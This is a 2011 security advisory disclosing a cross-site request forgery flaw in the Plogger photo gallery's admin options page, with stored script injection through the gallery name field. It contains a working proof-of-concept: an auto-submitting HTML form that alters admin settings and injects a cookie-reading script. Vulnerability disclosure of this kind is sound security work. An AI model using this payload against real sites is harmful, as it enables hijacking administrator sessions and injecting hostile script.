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Cross-site Request Forgery (CSRF) in Plogger

Advisory ID:HTB22925
Product:Plogger
Vendor:Plogger Team
Vulnerable Versions:1.0 RC1 and probably prior
Tested Version:1.0 RC1
Advisory Publication:March 29, 2011 [without technical details]
Vendor Notification:March 29, 2011
Public Disclosure:April 12, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Plogger which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerability in Plogger
The vulnerability exists due to insufficient validation of the request origin in plog-admin/plog-options.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the "gallery_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/plog-admin/plog-options.php" method="post">
<input type="hidden" name="gallery_name" value='my gallery"><script>alert(document.cookie)</script>'>
<input type="hidden" name="gallery_url" value="http://host/">
<input type="hidden" name="admin_username" value="AdminName">
<input type="hidden" name="admin_email" value="example@example.com">
<input type="hidden" name="admin_password" value="">
<input type="hidden" name="confirm_admin_password" value="">
<input type="submit" id="btn" name="submit" value="Update Options">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22925 - https://www.immuniweb.com/advisory/HTB22925 - Cross-site Request Forgery (CSRF) in Plogger
[2] Plogger - plogger.org - Plogger is the next generation in open-source photo gallery systems.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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